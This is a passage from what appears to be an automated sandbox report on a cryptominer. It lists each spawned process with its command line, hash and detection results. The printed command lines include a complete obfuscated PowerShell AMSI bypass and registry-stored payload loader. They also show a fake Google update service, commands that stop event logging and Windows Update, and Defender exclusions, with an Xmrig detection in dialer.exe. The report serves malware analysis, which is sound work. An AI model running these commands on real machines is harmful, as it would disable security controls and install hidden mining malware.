@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VJhcAYUztep=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'M'+'od'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+'.'+[Char](100)+'l'+[Char](108)+'')));$pGTzdTbPDPtdSw=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$VJhcAYUztep,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$gmmiBVEmviKAGYOfq=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$VJhcAYUztep,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'ua'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+''+'t'+'')));$RgMdvyV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pGTzdTbPDPtdSw,$PKjZFAJMrKtEHtCAQET).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$RRZbMqrVsxPNJwFWd=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$RgMdvyV,[Object]('Am'+[Char](115)+''+'i'+'S'+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+'fe'+[Char](114)+'')));$InrlgaQyOp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmmiBVEmviKAGYOfq,$TwfHJfbEiJESflVXJDRdie).Invoke($RRZbMqrVsxPNJwFWd,[uint32]8,4,[ref]$InrlgaQyOp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RRZbMqrVsxPNJwFWd,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmmiBVEmviKAGYOfq,$TwfHJfbEiJESflVXJDRdie).Invoke($RRZbMqrVsxPNJwFWd,[uint32]8,0x20,[ref]$InrlgaQyOp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+'l'+'er'+'s'+'ta'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\ProgramData\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Google\Chrome\updater.exe
Imagebase:	0x7ff6931b0000
File size:	5'536'856 bytes
MD5 hash:	1417D38C40D85D1C4EB7FAD3444CA069
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 74%, ReversingLabs Detection: 75%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff70b4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7c7170000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff70f350000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	22:56:05
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7403e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff712e80000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7ac940000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff712e80000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff712e80000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000042.00000002.3447887034.0000028A981B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tvJmJWkkljdL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rUCvlIraVSkSNU,[Parameter(Position=1)][Type]$lDxjOqsFCa)$hzEPfdAIUJU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hzEPfdAIUJU.DefineConstructor('R'+'T'+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rUCvlIraVSkSNU).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'aged');$hzEPfdAIUJU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,V'+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+'',$lDxjOqsFCa,$rUCvlIraVSkSNU).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $hzEPfdAIUJU.CreateType();}$opuJgspdjbNOB=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$JRxrSkXtFvoHQj=$opuJgspdjbNOB.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+'c'+[Char](65)+''+'d'+''+'d'+''+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BKEqIqCwRefEvWHkEvb=tvJmJWkkljdL @([String])([IntPtr]);$jHKuyMaewNXWYnPAXNtVwb=tvJmJWkkljdL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TPsVJhpipYG=$opuJgspdjbNOB.GetMethod(''+'G'+''+'e'+'t'+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$rnQeYQPaljIZIy=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$TPsVJhpipYG,[Object](''+'L'+''+'o'+''+'a'+''+[Char](100)+'Li'+[Char](98)+'r'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$baDhPfYjDHPSnZPKw=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$TPsVJhpipYG,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$dImCJWh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rnQeYQPaljIZIy,$BKEqIqCwRefEvWHkEvb).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$VaoZSrEKYRrKpAGDt=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$dImCJWh,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$HGMKYUxWWR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baDhPfYjDHPSnZPKw,$jHKuyMaewNXWYnPAXNtVwb).Invoke($VaoZSrEKYRrKpAGDt,[uint32]8,4,[ref]$HGMKYUxWWR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VaoZSrEKYRrKpAGDt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baDhPfYjDHPSnZPKw,$jHKuyMaewNXWYnPAXNtVwb).Invoke($VaoZSrEKYRrKpAGDt,[uint32]8,0x20,[ref]$HGMKYUxWWR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'TW'+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	22:56:06
Start date:	09/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	70
Start time:	22:56:07
Start date:	09/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff68eb30000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	71
Start time:	22:56:08
Start date:	09/10/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{221f05ee-8fb0-4424-9ba0-bc3ff8f1bf74}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	72
Start time:	22:56:08
Start date:	09/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	73
Start time:	22:56:09
Start date:	09/10/2024
Path:	C:\Windows\System32\svchost.exe
